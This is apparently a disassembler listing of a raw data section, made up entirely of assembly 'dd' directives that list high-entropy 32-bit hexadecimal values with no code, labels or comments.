		dd 7B5AAC7Ch, 2F5EC611h, 0E55AAC4h, 577E8234h, 8C28738Dh
		dd 623A4F11h, 78400E5Bh, 7CE058C0h, 2F3F5AADh, 0BE66BC3Fh
		dd 8F503B70h, 76BBB77h,	4280AC7Fh, 1A52BF81h, 0B85E4F79h
		dd 2F70435h, 406BA1A3h,	796CB440h, 5952B6FCh, 0B9D6C318h
		dd 0A110004Eh, 1398C2CBh, 5507994Dh, 0DC3AA9E1h, 917EBB31h
		dd 0F9E31880h, 77A64722h, 0C61EAA06h, 485C79h, 5F3FC7F2h
		dd 31A26135h, 0D40ACD0Fh, 98E580EAh, 0A8F458h, 5A0F1E40h
		dd 0A9E036CCh, 0DF850500h, 0F49615D5h, 0E517CA5h, 0DB0CFEECh
		dd 589782C0h, 300333Ch,	5E6EFC0h, 0C1779DEBh, 86DFF218h
		dd 6708F76h, 40EF0A0Eh,	555E7903h, 31D979DBh, 4F08C451h
		dd 1EF98CC6h, 0FAE5C047h, 897CA8A0h, 0F5110455h, 6DAA16D5h
		dd 602421E0h, 0D3D81037h, 153320EDh, 0D112684Dh, 8F01A80Eh
		dd 0BCDB004Ch, 54CC3059h, 0CD29E381h, 40A3C730h, 821348CBh
		dd 0D3D79C00h, 78C550A8h, 0D4457CF6h, 8C28BBE0h, 67A311AEh
		dd 0A81E69Bh, 3D8B261Dh, 8CB31588h, 0DDA75B00h,	65D858BCh
		dd 0F3E4D655h, 974711A8h, 30621D01h, 5DDF0532h,	86794442h
		dd 4948A948h, 3DC92825h, 2DE66415h, 4A6F0F09h, 0EF805FC9h
		dd 0E39E2357h, 0B200A2F8h, 56C69B7Ch, 3AE2F2Eh,	0AC6E3A6Bh
		dd 0BDC2385Eh, 715878CCh, 7C2D0B50h, 8F540FC0h,	0A21AE77Eh
		dd 6B3A5240h, 588F05BBh, 31996454h, 0EC524244h,	310A8615h
		dd 485E682h, 7010D961h,	0C4D84F1h, 344A0800h, 20C65072h
		dd 0F630A67Ch, 7C08A420h, 7C4B437Bh, 89E2FAA3h,	5D10A09Dh
		dd 0D53BD22h, 85F2910h,	115AB988h, 87C1227Eh, 5C910830h
		dd 1029A51Dh, 7483B44h,	8D1CB91h, 404B109Fh, 7140BD70h
		dd 7C9C9B8Dh, 81BD5A14h, 6311960Ch, 650908Ch, 9A961E31h
		dd 31506628h, 52440951h, 124C894Bh, 484E244Dh, 22589157h
		dd 535A4459h, 55125489h, 5F485624h, 61226091h, 0E0F76245h
		dd 39F0375h, 9D0F308Ch,	0C13F3996h, 7CB8657Eh, 0A54E842Ch
		dd 4354D604h, 0BCA08508h, 620398BEh, 5C7E034Fh,	0E378E39Fh
		dd 0C6E016E0h, 617A002Dh, 2498C150h, 0DCF8B3E8h, 26DB4F3Eh
		dd 643AC0D4h, 501FAB40h, 5F801E78h, 592DC300h, 0F050367Dh
		dd 6B824A6Eh, 443FF48h,	5FC9AAFFh, 45878859h, 4911A10Bh
		dd 0C217A711h, 38957CDEh, 81406760h, 0AE4D448Eh, 8C82310Ch
		dd 8AAC09ABh, 5F041808h, 0FC0077D5h, 0E4DD69B2h, 59820353h
		dd 5DCC7EE0h, 0BC36210Ah, 8055385Ah, 0AC1D0F6Eh, 0DD7D119Bh
		dd 0AB30577Ch, 83451879h, 628403DEh, 0E35B307Eh, 0D61C0FE5h
		dd 61F65680h, 9D29980Eh, 7117285Fh, 0AC1E4A9h, 863B9A8Bh
		dd 4EC3D641h, 717A0030h, 773E58ABh, 363E5CBBh, 3D900741h
		dd 3380B97Ch, 7D54BD6Ch, 50B8005Bh, 6BBB722Dh, 14A57530h
		dd 0C20C411Eh, 1FAD3051h, 47E3A55h, 6C3F50h, 68C1772Eh
		dd 0BA76003Eh, 814F6D5Ah, 0AAE6375Ch, 0C76B90C3h, 0E8188E6Ch
		dd 0A9760133h, 0AA823956h, 8067D35Eh, 69406E28h, 0E8AD7332h
		dd 0AB7B183Ch, 50C2786Ch, 2F314261h, 5985AD7Ch,	342B52ABh
		dd 7AA8200Ch, 5A3AC672h, 0CF0DE3Eh, 2F88A07Bh, 4FC12978h
		dd 0F2D280DCh, 5898B079h, 0CB305AF0h, 0FA194963h, 0A633173Bh
		dd 5E74B877h, 878090F2h, 0DC93F844h, 2E7A4A00h,	0E0BA0E78h
		dd 822F00EFh, 0DAD46135h, 973E6364h, 58A0058h, 0CEA2F40Eh
		dd 5A9B0C70h, 99717BCCh, 0B5002D75h, 5A3FA60h, 4DAE031h
		dd 0DF705E45h, 8E589069h, 56E89FDEh, 1FD8DFCh, 0DB1248D6h
		dd 4E511884h, 689DECCFh, 0D6308457h, 0F8223160h, 0C442BF3Ch
		dd 79DB2C03h, 50BA44A4h, 1210B40Dh, 0E6067B40h,	0FD310238h
		dd 0FA614F69h, 0B4185C44h, 0F7305C11h, 4779CF64h, 0D630AA6Ch
		dd 0D859EE60h, 6E8DABBh, 9A464D14h, 7C79405Dh, 332B680Ah
		dd 8211D061h, 0B3626488h, 0D39E302Eh, 0AF0CEA19h, 7EFBD530h
		dd 53C43E19h, 21DD68E0h, 0A42AFC45h, 7361A477h,	6FDFB8F1h
		dd 0F8A1DC56h, 29E31812h, 21B33154h, 52185F62h,	0CA4C8FF3h
		dd 842058E7h, 955F922h,	8A66CBA2h, 0F039180Dh, 0EF18F21Dh
		dd 0F7302AE8h, 187E6204h, 4C82225Dh, 5888C3DEh,	915998E8h
		dd 5D5FDB0Eh, 39BEF4A1h, 0BBD7BC05h, 0FEA423F9h, 4A242BE4h
		dd 0B810DB74h, 0C0B19D46h, 17A01229h, 0B9C85810h, 84C250ECh
		dd 0DB87842h, 43302A44h, 7AA4F77Dh, 46841328h, 81C5A108h
		dd 3821210Ah, 45C9A146h, 2184710Ah, 49F87CD8h, 0F4108573h
		dd 7C50908Ah, 7C87542h,	283E6845h, 8D76F111h, 5C2109D6h
		dd 0B0516C22h, 646059A4h, 0BC4CD0D1h, 51C0C83Ah, 0B3BEE54Fh
		dd 4011DA62h, 28CC8487h, 3A0F795h, 4751F35Eh, 50902248h
		dd 37273A19h, 4E26F78h,	0B6195D65h, 0A4350C48h,	7ECB118Ah
		dd 75DA634Ch, 20986148h, 0E454442Fh, 0F85B09C7h, 74C0482Ah
		dd 6EDA5594h, 0AEE21171h, 0E844EAD7h, 0DC54D624h, 496CA868h
		dd 0D5BC0EBFh, 4B4C4716h, 1F003E28h, 144D9F9Dh,	0F08F6C42h
		dd 7DA20093h, 4FBB7F1Ah, 0A358920Eh, 0B97003D0h, 0BA902D5Ah
		dd 14C0553Ch, 0A25C4069h, 7831001Ch, 4F1C5ABDh,	98DCB08Dh
		dd 404C3AFCh, 3E56A802h, 0D88E9F6Ch, 62F169Fh, 4067C7ECh
		dd 0F0F3B77Eh, 391436C3h, 9F40C16Dh, 3467AC85h,	5B3E10C0h
		dd 5851F88Bh, 3043E440h, 76379860h, 1CA65AADh, 7520357Dh
		dd 9D4F03BAh, 0AC7B3950h, 609A37A2h, 765034E5h,	705A67ACh
		dd 356D53ADh, 5C2E66A1h, 5195C118h, 3D2300CCh, 882E8F6Ah
		dd 0A2CAD57h, 0C4BB813Ah
		dd 0AB6D8207h, 8F92A3C0h, 7C38AC07h, 7941004Fh,	3A5199A3h
		dd 4AE9BF71h, 404714h, 80A3077Dh, 1D732241h, 123C5BC1h
		dd 0C30AF92h, 96A96887h, 0D455B0h, 0F4C97A2h, 1A4BA38Ch
		dd 38A963Eh, 6C928280h,	5AAAA024h, 13349838h, 5D813F41h
		dd 30AD1E00h, 2E9A5E28h, 98A349h, 7168C17Eh, 1359923Bh
		dd 1BA8782Dh, 28075040h, 76C7B4Fh, 80209A89h, 6BBAA36Ch
		dd 0EC7D4834h, 0C674506Ah, 91D36C6Eh, 84AE2C8Bh, 30841EACh
		dd 4A7890AEh, 90B26B2Bh, 89402F49h, 7B582779h, 3156ACA1h
		dd 0C18FA3EBh, 0D030C29Fh, 91BB3C82h, 54BF740Ch, 6A4CAD40h
		dd 697E00C0h, 9DAA7033h, 0AB763A24h, 8C106Ah, 59BF5455h
		dd 0C0167838h, 70042E56h, 0FCC32F5Eh, 0AE54C798h, 0C774A080h
		dd 0AA10C669h, 0B8246055h, 5837AC56h, 57C378B2h, 0B71FF06Ch
		dd 0BF5B3050h, 0C1B9CBC8h, 13D37534h, 0C67E7630h, 783EA11Ch
		dd 812B00ADh, 702D58C1h, 3E8F5BC3h, 0F852BE24h,	6C2B5083h
		dd 0D4EC9DC2h, 23678005h, 60987E6Bh, 0F72BF135h, 187492A8h
		dd 9D885AEh, 1C89C7F0h,	7664A457h, 5739E882h, 60F5A4EDh
		dd 0BD6C0EACh, 9B7EC4B2h, 2CB44258h, 9DE2E45Ah,	580C6C3Eh
		dd 0AB0B985Bh, 0DC093F6Dh, 9B7C2E75h, 406CE128h, 1C48C462h
		dd 93C9D18h, 0C4B0762Eh, 653EE4A5h, 0C0906C50h,	5C785873h
		dd 0A80E20AAh, 1B9F6AC1h, 50E369BBh, 0D1C272E1h, 1420722Eh
		dd 0B42CAD76h, 80CC3C87h, 4C70EE6Ch, 883334ACh,	0BDC82D58h
		dd 7F3E3850h, 80B066ABh, 18A15380h, 68125048h, 0FA1CF66Ah
		dd 70941ECh, 7D309235h,	1C859094h, 1882808Ah, 0C8035974h
		dd 0A88C2F01h, 4E7B395Ah, 404CF068h, 6AC60BA2h,	0D8026B2Fh
		dd 64E89F39h, 5A15C278h, 5B186C42h, 5041F834h, 980B3E7Eh
		dd 5D2D3AD0h, 177B2081h, 43756C6h, 0F0235A38h, 0C7FA3E44h
		dd 92395027h, 8ED4793Ch, 69808E5Bh, 56A87520h, 0C0762D07h
		dd 0AA824052h, 0C78CE047h, 0F83D4B5Eh, 9F1C0E30h, 94208FA7h
		dd 0C50589Ch, 213455A9h, 0AA870740h, 42723C6Bh,	507A3A56h
		dd 0C8606C4Bh, 0C26DA14Fh, 183C8D68h, 425EE0E1h, 3497AC80h
		dd 0ECB09D64h, 0E850BEAAh, 51055F34h, 90F7823Ah, 395EA605h
		dd 7BF0016Bh, 0D0368E90h, 3AF4AC8Ch, 687E8106h,	3217833h
		dd 2D69B66Ch, 34A2BD70h, 0E19DC884h, 0E0D9D230h, 0C2305E89h
		dd 97381A80h, 0C0A2E710h, 8D7B2D5Eh, 0C70DE8DFh, 607C285Ch
		dd 6B9B2474h, 0CDC201Ch, 51C77732h, 657FBB20h, 0E4BF8125h
		dd 2EB896FCh, 4A7DE5E0h, 21803CC4h, 9D74098Ch, 570FF8CCh
		dd 8DBA7534h, 888AD80Bh, 3ADCAD82h, 0D03C7E14h,	73D1D841h
		dd 13373BE0h, 1E54BD76h, 804D1404h, 4002BF39h, 3E726433h
		dd 4C69B085h, 0B8609DF0h, 991B502Fh, 28868FDCh,	0E9419DC3h
		dd 0A46C2F40h, 25DCA658h, 60AC5C79h, 242D6B30h,	3CD41833h
		dd 51AE247Fh, 0F4BF1444h, 3D6499D2h, 206A24F0h,	70300727h
		dd 813447C0h, 0CD3CF8AAh, 1C032E8h, 286C39F0h, 0EBBF18h
		dd 0A4F70AD6h, 0AA0E04h, 5193DFF6h, 0DB386135h,	9754C500h
		dd 6B8FFD58h, 0DDBC13E5h, 5EB0B4C3h, 0D2546A09h, 0ECDAF2h
		dd 8E682F7Dh, 0F60ED64Ch, 0AC86A14Fh, 85AF2058h, 90D2D400h
		dd 0E05898EBh, 96A9098Dh, 60F2E7FCh, 88AA4F05h,	203CA20Bh
		dd 4F84683h, 46A15B53h,	9D003CE9h, 0F6941205h, 5A192B0Eh
		dd 85081EFEh, 0D3B2180h, 0C1A3BC12h, 0F6B1F903h, 8863FD7h
		dd 7CA1EBF9h, 4CDA7005h, 0CAD89842h, 0FB4766Dh,	440C9AF4h
		dd 0E21BD908h, 1118460Dh, 17EF7C8h, 0C3DE76ABh,	985091BEh
		dd 659F4E69h, 0A9C6388Dh, 1E300E4h, 77A3B499h, 952115AAh
		dd 4C881C45h, 81DC2514h, 12B1E3D8h, 0CCBCA03Ah,	0BEA70506h
		dd 214ED5h, 3CFDF391h, 87AFBB32h, 1B009B70h, 0EBF0CD75h
		dd 50C978DAh, 0A15D4E5h, 0BD07695h, 0B87080FCh,	1DD9A3F4h
		dd 0ED5E600h, 63D82A67h, 0DE7724A6h, 62435400h,	0F20EC842h
		dd 33004EC7h, 440D0661h, 201C0356h, 4EE32A60h, 31F481B8h
		dd 0B11DFE1Ch, 79C0AA9Dh, 0E8741DDAh, 0B87C6CBFh, 0DF527010h
		dd 0CB5A0FD8h, 0FCCC95B5h, 0A2B54642h, 0F3C439B8h, 2C80F7CAh
		dd 0A59E407Eh, 7F60E703h, 3338DF4Bh, 99214808h,	324E9EA8h
		dd 6D119A00h, 7905B2E5h, 0B347185Eh, 902FE151h,	0D808BC01h
		dd 0D05F99A9h, 640830CFh, 0BC888D21h, 9B490503h, 9883943Fh
		dd 0A22F5E9h, 507821E5h, 22D420E8h, 93006F47h, 5C3B39BCh
		dd 2D8F77Eh, 0B23416A6h, 0B0A00F8Eh, 21DD17F2h,	6080B45Ah
		dd 91677C5Bh, 128C44E0h, 0E8E2180Ah, 0DC9B05C4h, 6CC082C8h
		dd 249BE373h, 0F4963A5h, 0DAA23EE9h, 0BC7C01EAh, 57E7F602h
		dd 2684B59h, 0DB323A88h, 0E0484519h, 6D55CBEFh,	0AEF5F810h
		dd 73662015h, 1886F270h, 0D881591Eh, 4CF89144h,	72327850h
		dd 5E918DEEh, 69822043h, 401A3303h, 8255494Ch, 609D9C04h
		dd 23901209h, 84112EF6h, 12113700h, 75363EBh, 82489438h
		dd 0D87C8959h, 0A97C69CBh, 4F34D081h, 245DD58Fh, 0A8007B68h
		dd 92D4461Dh, 66DC797Ah, 2150088Ah, 1DA01C00h, 18D0413Eh
		dd 0E05C010Bh, 73DFB76Eh, 0A2588079h, 0D46C5BECh, 9C7648E6h
		dd 0A0DC600h, 0D87BD748h, 28501732h, 4E47506h, 33C87618h
		dd 38E79E19h, 0C8D03421h, 4C18B705h, 0AC06EF5Dh, 657829E6h
		dd 6D3C0020h, 4F4AB2DFh, 0D0C8CD31h, 1DA7C08Eh,	8A46D445h
		dd 9F1B8879h, 0F1831D00h, 853FB9CCh, 0F9E612B2h, 5A0844E7h
		dd 1374FDD1h, 62AFE2E5h, 687ED5C0h, 8F50D480h, 142832B4h
		dd 0FFCBFB0Dh, 31332238h, 58900A48h, 0DF265F4Bh, 465E10C3h
		dd 66760056h, 6125CDA0h, 8C21B7FEh, 6B62DBD6h, 84DC10h
		dd 80BB71E4h, 2CFF7DCh,	3190FD81h, 9CD67C2Ah, 8D4F3505h
		dd 1DAA9060h, 0A2D42344h, 1E3E5211h, 38081D02h,	78A109F8h
		dd 816053CCh, 0E7BC51A0h, 0F9CCFA9Fh, 0DC4BF357h, 1EA9E60Bh
		dd 0D7983403h, 6C4819E2h, 0E099DD70h, 0A1CA883Dh, 13282B7Fh
		dd 0CA80892h, 0A79E46C0h, 753046E7h, 4E9F88h, 0FE85FB9Eh
		dd 6BB135BCh, 0CDA4800h, 0CE7F7355h, 3CB45020h,	9A900518h
		dd 0BC3D6239h, 0C008D288h, 0BC91C048h, 0B146D809h, 898E887Fh
		dd 4DFFBC04h, 0B4818C21h, 0CC40A5B5h, 799FEB8h,	8AE0B42Bh
		dd 0C85DD557h, 0A8DACF2Ch, 21084070h, 26E58144h, 408D5834h
		dd 28C04EB1h, 85814777h, 23B80A27h, 0C1F09608h,	3B1FDA41h
		dd 0EC58ACA3h, 6048A910h, 0C020CF80h, 0BC8B2E52h, 500B08B4h
		dd 1D21C020h, 0BE8D4076h, 8910BBFDh, 5E008C46h,	3FEF9B24h
		dd 0E47A2C2Dh, 8EE84000h, 7F93E35Fh, 7D33EE0Ah,	2BF912B6h
		dd 70804058h, 256189C6h, 0C895F404h, 4CA6FEBh, 0CE920A7Dh
		dd 0C3A06713h, 797B7047h, 533FFF7Ah, 0C88900FBh, 1D0E97F5h
		dd 0C0D90C6Eh, 91297646h, 0B5C4A400h, 0BDD78EAFh, 1EAA2E35h
		dd 0FC7E0673h, 6722F8A5h, 78255283h, 9E58E03h, 0B818698Ch
		dd 0D5AAF133h, 79C8B178h, 686185Ch, 0E3F1E538h,	0D19D504Ch
		dd 2B18B1D4h, 78260438h, 54A82080h, 43FFDC02h, 64675637h
		dd 2894670h, 0D4401DA6h, 10483182h, 1D9E22h, 3BA5E811h
		dd 8E71BF50h, 6D76B102h, 403F1CF1h, 827F3D3Ch, 6640B8DEh
		dd 0EDF20C3h, 0FA189937h, 22884B93h, 56FD4C02h,	0BBAE5500h
		dd 59FC090Dh, 0A0310EBEh, 4F1034F8h, 8E492900h,	0DE748DF5h
		dd 984E3F7Bh, 0ACC2E00Ah
		dd 2861407Ch, 1226CEA4h, 283C18E9h, 5A1474F3h, 12DC24BEh
		dd 0D02250A7h, 0BC97304Eh, 0A1D80317h, 909038h,	0D9A9BC8Fh
		dd 0DB7533A1h, 8AEF7000h, 1C09E77Eh, 9CF4822Ch,	0A323A960h
		dd 3E4E172Eh, 8CA0433h,	4A0482AEh, 7A3C032h, 3CC152D8h
		dd 0B5008C89h, 0E9883C7Ah, 681F1DE0h, 0BE438984h, 4C4BD870h
		dd 0D2016429h, 2878362h, 3C18244Ch, 41209090h, 0EFF60B7Bh
		dd 0D8DB6DC7h, 8BE7F483h, 0D018015Eh, 36E6B638h, 0D9F8209Bh
		dd 8121F215h, 4C22F0h, 0E2383AABh, 51A6F524h, 0D5B44000h
		dd 507FEDDAh, 8252697h,	4A8B0BE8h, 0AC971C29h, 66825291h
		dd 0F940B35Fh, 422FCE8Dh, 0B14CCC63h, 1885D16Ch, 7FF81Dh
		dd 0ACFDA14Eh, 0A4E7C665h, 0ADD93602h, 655B17C8h, 7C2C2Ch
		dd 62ED4B4Fh, 1C00AA46h, 0B280965h, 7416105Dh, 2EC10134h
		dd 61840C55h, 2A9DF8AEh, 820B633h, 0F0210039h, 0D4E48413h
		dd 64002806h, 6044C9E7h, 60A5D24Eh, 0DE786049h,	30CE558Ch
		dd 4340A035h, 721BA59h,	0C7E14A0Ch, 0AC51DCA9h,	4F7DD918h
		dd 7BB71838h, 76CA0EB1h, 58A3372Fh, 49005F8Dh, 0F6ED177Dh
		dd 194AECD5h, 8FCDE31h,	23218053h, 0A614ED0Fh, 0BA370C8Ah
		dd 0B548AC09h, 5D20C860h, 3F70B869h, 870144B0h,	45C3A9CEh
		dd 0F8844063h, 92073DA2h, 6DBF1550h, 0C6B533h, 497A2039h
		dd 0A7621A45h, 0E34AF300h, 0E9313B64h, 4F8F00B5h, 1A42EECCh
		dd 2D33AA57h, 0F83E78D7h, 7DB0702h, 10359334h, 0C150EC69h
		dd 9FFC4E00h, 80F8B71Bh, 0F0AF33BDh, 21002508h,	2EA0046Dh
		dd 0F33B412h, 726569C2h, 0F1980E00h, 98A052A1h,	50FFA8C8h
		dd 7AD80FA4h, 24B1B30Ch, 88BDF9B9h, 303A7DF8h, 0DE8800EAh
		dd 9861696Bh, 0AA49098Ch, 4115921h, 8061812h, 18AE6784h
		dd 0F64042C4h, 0A6E9840Dh, 9BA9A806h, 0E6486F61h, 4E549E1h
		dd 0D9B7FE0Eh, 3590A9CCh, 2397EA03h, 3769DBh, 256888E9h
		dd 0F351380Ah, 97F41815h, 0DE4C0170h, 46F8E1A9h, 55B21186h
		dd 0C0C0687Bh, 0B5022EEAh, 0A1E9C3C3h, 4AF87463h, 61195191h
		dd 0D9086942h, 5BFE2180h, 0C63EF174h, 33030779h, 0E9E1ADE2h
		dd 9A610A54h, 0C0646CF9h, 0B91196FDh, 0B4C67200h, 0E201F892h
		dd 0D8A5607Dh, 0CE8953E6h, 92AC2449h, 678EC306h, 0C24B0CA8h
		dd 0AE1860B1h, 3C85E118h, 2BAA4A58h, 13855E9h, 1BA2F04h
		dd 209C50A1h, 9D1D1F73h, 7ADAB3C1h, 1304B230h, 0BEDDE93Ch
		dd 0A3C2F185h, 8C1800A1h, 57D5ABC1h, 568D10C4h,	54829C90h
		dd 0F46900B7h, 2196E43h, 9F33BFFFh, 50F5A00Bh, 8C131031h
		dd 64840704h, 3F6210AEh, 840EF320h, 0A2B7027Dh,	75D5B24Bh
		dd 3EE9B500h, 62EC0329h, 3BB131C1h, 45D8891Dh, 69D0D200h
		dd 1F042CBh, 91C08D67h,	80DAB2E8h, 0A2A07618h, 9BC4FAh
		dd 9FF6F719h, 0C6AC2193h, 4114CE1Dh, 4C6C1807h,	0EE844F70h
		dd 0C1C4FAF1h, 32D92920h, 194880F6h, 8E84A553h,	0DB1700C0h
		dd 0E09D3EF3h, 1E007E61h, 1842BAF5h, 0E21F40B4h, 0C646006Ch
		dd 5BE9AF25h, 6201DECEh, 0D322679Ch, 28803C6Ah,	52C14A47h
		dd 0B3F8F9C4h, 18126230h, 280A7A0h, 72583DA1h, 4AC02CD9h
		dd 88C0E62Eh, 0EF11B346h, 34A630DAh, 84ECC630h,	93957603h
		dd 616DE2Bh, 0CC9D3F81h, 0F100A06Dh, 0B5A8D9BAh, 7B4B2940h
		dd 0A5450CC6h, 6C206A8Ch, 0C8D1920Ah, 0B27B20BEh, 189C30B5h
		dd 0C5502EF6h, 0E67B46A0h, 3F0E78EEh, 4C4247ECh, 0C0D308DCh
		dd 2ECE8021h, 933BF4E4h, 0D0E230F8h, 50F172CFh,	1891AC67h
		dd 18D516D8h, 28C405CDh, 41CE5EAh, 4AF543h, 22C2F4DFh
		dd 0B980A00Ch, 0B8735092h, 0CDBC0618h, 2885F96Ah, 793C700h
		dd 0CEFE5031h, 536D3052h, 66D86718h, 0F4801092h, 454913CAh
		dd 8C007C04h, 91CFC55Bh, 66C7683Ch, 213B0881h, 5B948400h
		dd 0D9934833h, 3A57841h, 0B981EFCCh, 8900689Eh,	3F6596E3h
		dd 491F7693h, 29000816h, 98F2F460h, 0F1FFFDBh, 4C0540Eh
		dd 3B79AD8Eh, 5EA3289Dh, 4E1430B8h, 0AAC23171h,	1903E479h
		dd 3ACD9AEBh, 0C1E1038Dh, 4A46F622h, 2EA80A90h,	3C49BC0Ch
		dd 1293711Eh, 21B82AE0h, 73B190h, 0A47E2FEh, 0B26B5F12h
		dd 404986E0h, 0F8193902h, 44813714h, 10110F0h, 5E154F0h
		dd 0FC2EBFD0h, 0C400E994h, 0F9A60AD7h, 0AB97E8Ch, 72CB26AFh
		dd 0F1290334h, 8003E49Ah, 0E8853F70h, 23E02465h, 2D9901C4h
		dd 0F095C0F4h, 0D350BDEEh, 0F1306AFCh, 0A39BE078h, 30B89042h
		dd 0CD913DE9h, 0E8195F2Dh, 4730BF5Ah, 0A61992h,	3CD9B69Ch
		dd 456EF08Dh, 6AC5A468h, 950C4C6h, 87C37318h, 60CC4828h
		dd 586291C4h, 0D9FBA300h, 0E77342B3h, 0F0973FF5h, 75256A05h
		dd 62201F8Dh, 34A53D3Ah, 248C6857h, 7C6B75CAh, 29309BBh
		dd 0B4027924h, 49214B84h, 79810542h, 0D2D374CEh, 8964200Dh
		dd 1ECFE38h, 0C32AA68Eh, 0F025029Ah, 85DF7182h,	8A004EC8h
		dd 49710CCAh, 9003870h,	0BEDCD344h, 65005848h, 67F5D79Dh
		dd 605101Bh, 44C2731Ch,	0BF08481Dh, 0E4888ADh, 18AC32Bh
		dd 291F4634h, 0E20039F0h, 0EB719775h, 411C54DAh, 3C804B7h
		dd 0AB6FA078h, 6ED09CCCh, 7132CB22h, 22C6009Eh,	716BF225h
		dd 61C01B1Eh, 8905C338h, 629F0691h, 8A799C2h, 0DF210F60h
		dd 14B805BAh, 0B836B23Ch, 1540AC3Bh, 0F09E58A1h, 8D7D291Fh
		dd 2E0CEC93h, 0B7D1D7h,	8E013699h, 4AA6809Dh, 0E7EEB600h
		dd 0DD3D8A8Dh, 1C921221h, 73C0607Ch, 0F4A4BFCFh, 3F289512h
		dd 629B5C22h, 777C4C34h, 463FFEC0h, 0CC22DCh, 502EC886h
		dd 61AE6DB3h, 13A3880Ch, 31C148h, 1B5E365Ch, 0E967EA58h
		dd 0EFFDE200h, 44996BC0h, 1DB60109h, 1C9E7CC3h,	33EC246Dh
		dd 9541D31Ch, 0F0C7570Ch, 0D5532A6Fh, 56CB20C0h, 6291540h
		dd 0D6B2F448h, 0E8C41008h, 9600475Ch, 6E709146h, 4C002492h
		dd 0F4C70579h, 331CE299h, 7A0881EDh, 71AB2113h,	9BE4CC00h
		dd 29A926Fh, 95C8F396h,	24909446h, 0C211057Ch, 848871F4h
		dd 574AE80h, 795FE1h, 8D8B2A8Eh, 6481B99h, 9ED1B904h, 74C07241h
		dd 0F64B0445h, 0D7810060h, 1C2C0DE8h, 0D407A4BBh, 50610264h
		dd 48BA66E0h, 95890D7Ah, 0F74819A1h, 0FB18400Eh, 810FE74Ah
		dd 8B0218AEh, 0DD097095h, 31BD8C26h, 0EC4500Dh,	890129EDh
		dd 822F3DB5h, 0D195FF0Ch, 16A0704h, 8703E850h, 0C358204Fh
		dd 55448922h, 164638D6h, 50400321h, 0A8C4EAC3h,	796D7A22h
		dd 4E0C6483h, 0C35D6155h, 8C6C89C8h, 1451844h, 0B8B1C355h
		dd 8D91DD22h, 1F806840h, 12B603DDh, 58FD1517h, 0CCC65084h
		dd 0FAE50C75h, 0C6B1A928h, 0C0276DD8h, 87684718h, 0C704B15Eh
		dd 2C21B5FFh, 38784A18h, 0B4D08AA9h, 22182068h,	716BF14h
		dd 0F30CAA6h, 6687CC80h, 180DBAF8h, 1237D03Dh, 0A06483FCh
		dd 0A4CB8B0Fh, 525ACA25h, 0C35AC38Ch, 18548991h, 52428815h
		dd 0D369C30Ch, 4041E2F9h, 1160E80Bh, 62B2EF23h,	3A9FA46h
		dd 0F2F09B3Ah, 0B5E04595h, 0ED0334CDh, 0E959C88Bh, 4B3350DBh
		dd 0ED0D41BDh, 8F178E0Eh, 0C539479Ch, 0C09E7AD3h, 294C3C8Bh
		dd 286156A5h, 8DAF526h,	850F4149h, 244DBB0Ch, 51C24B84h
		dd 20FE0D10h, 0F10781F2h, 33C9E7A1h, 0BBA294AAh, 390BE937h
		dd 5CFDE800h, 0C4BA0372h, 0B2C0D6F8h, 0BD092405h, 29002D1Dh
		dd 0CF816653h, 5F01245Ah, 67574514h, 0E2C3C7B3h, 1D317C89h
		dd 0C3574710h
		dd 8D961700h, 0BC6FCD7Eh, 0FB0124A3h, 0E25889Eh, 150A5912h
		dd 0F86852Ch, 4922D7B7h, 0E9863FC8h, 2D005913h,	0CE633A61h
		dd 371244h, 39F19231h, 0FADEE6C7h, 1B17307Dh, 9C03F883h
		dd 3012B85h, 0B6D98138h, 66C0785Fh, 0CC6229B9h,	40BBA57Ah
		dd 0F47FB177h, 912EF295h, 0FE8B0C5Ah, 0BF1F0FF8h, 358A01D7h
		dd 5A4A9209h, 0E93E0E11h, 516C0B60h, 1F064E0Dh,	9F8F5294h
		dd 306520F1h, 33C5A64h,	814C2CC4h, 0FF8F4FFCh, 0E54E8114h
		dd 50F90320h, 0A855BF1Eh, 9B60FC3Eh, 0BD890254h, 8A0F18C1h
		dd 8D890C82h, 614C25A5h, 0F58AB560h, 945CA850h,	514FAA1h
		dd 0B4DC75D7h, 9BC0644Dh, 0A795C03Eh, 306115A1h, 541B07E9h
		dd 250A38ACh, 0D49882D8h, 0D215766h, 2AFD8D03h,	0B5B0FB76h
		dd 0D1A1FE34h, 17C08CFCh, 19890EAAh, 0F31F759Dh, 0D00A30BFh
		dd 106A8DEAh, 6BC07C48h, 16033F9h, 0D5266352h, 151E45FAh
		dd 11200109h, 7B9269BDh, 1E90460h, 517EC82Fh, 2B611BC0h
		dd 9922ADBDh, 0CC64D8Bh, 2959B5BCh, 0E29F5353h,	260D3015h
		dd 0CA19C490h, 20FED25Dh, 20116DA8h, 50131979h,	0BD0C31F5h
		dd 1E047129h, 0C491C180h, 0C909798Dh, 0B709DBC8h, 225054B2h
		dd 49BCBAF1h, 1088A40h,	19458D14h, 14E8185Fh, 8F921Bh
		dd 694095DFh, 3522A0D2h, 6B1D000h, 0BE6DEA4Fh, 5EA52484h
		dd 9010173h, 421919Dh, 218D789Ch, 0CD082BF9h, 7E80C32h
		dd 0B001D969h, 0A01E2319h, 0B630FCBEh, 331A41A4h, 301CA2ABh
		dd 14003C73h, 0D799CAEFh, 60E9D660h, 0D590230Fh, 0A4007804h
		dd 5D76E8F3h, 14F44Ch, 8B265BC7h, 0E9BD83C0h, 75E01492h
		dd 61120962h, 1974202Ch, 2CC65350h, 0A0C9D2B8h,	0A828A10Fh
		dd 302C9DC0h, 0D3F44AB0h, 22AC585Bh, 200F1741h,	90AD1B11h
		dd 4CF124A4h, 18D131A9h, 8609DA18h, 87DBD190h, 0F853BF28h
		dd 31C65161h, 7D7205F1h, 9233910h, 264985C7h, 6C4D010Eh
		dd 68218831h, 0E4E7B80Ah, 2D17F9CEh, 0DA91073Dh, 0D46802E9h
		dd 0BCC005DBh, 13BD2819h, 56AAD60Eh, 0D23B6453h, 0B01249Fh
		dd 8BCC74C0h, 8432C2D8h, 0D3254B08h, 83660920h,	75091838h
		dd 4E5E00Ah, 0BF56DE8Ch, 0A4EF2540h, 50C5E17h, 465D3573h
		dd 0BD330428h, 0E80F1DC9h, 0BC710091h, 0BBC88A5Dh, 94BA0166h
		dd 0BD805902h, 418E2593h, 732685C5h, 4C555677h,	2332005Bh
		dd 0CA21C4A9h, 9C3C00BBh, 7764A5AAh, 195D12E9h,	48A1117h
		dd 9C12774Ch, 0E5370FF7h, 0C1666471h, 61B52941h, 5DAE4822h
		dd 89638CD6h, 0F4BED0C8h, 0D69700CEh, 9AAE9575h, 4D1820C5h
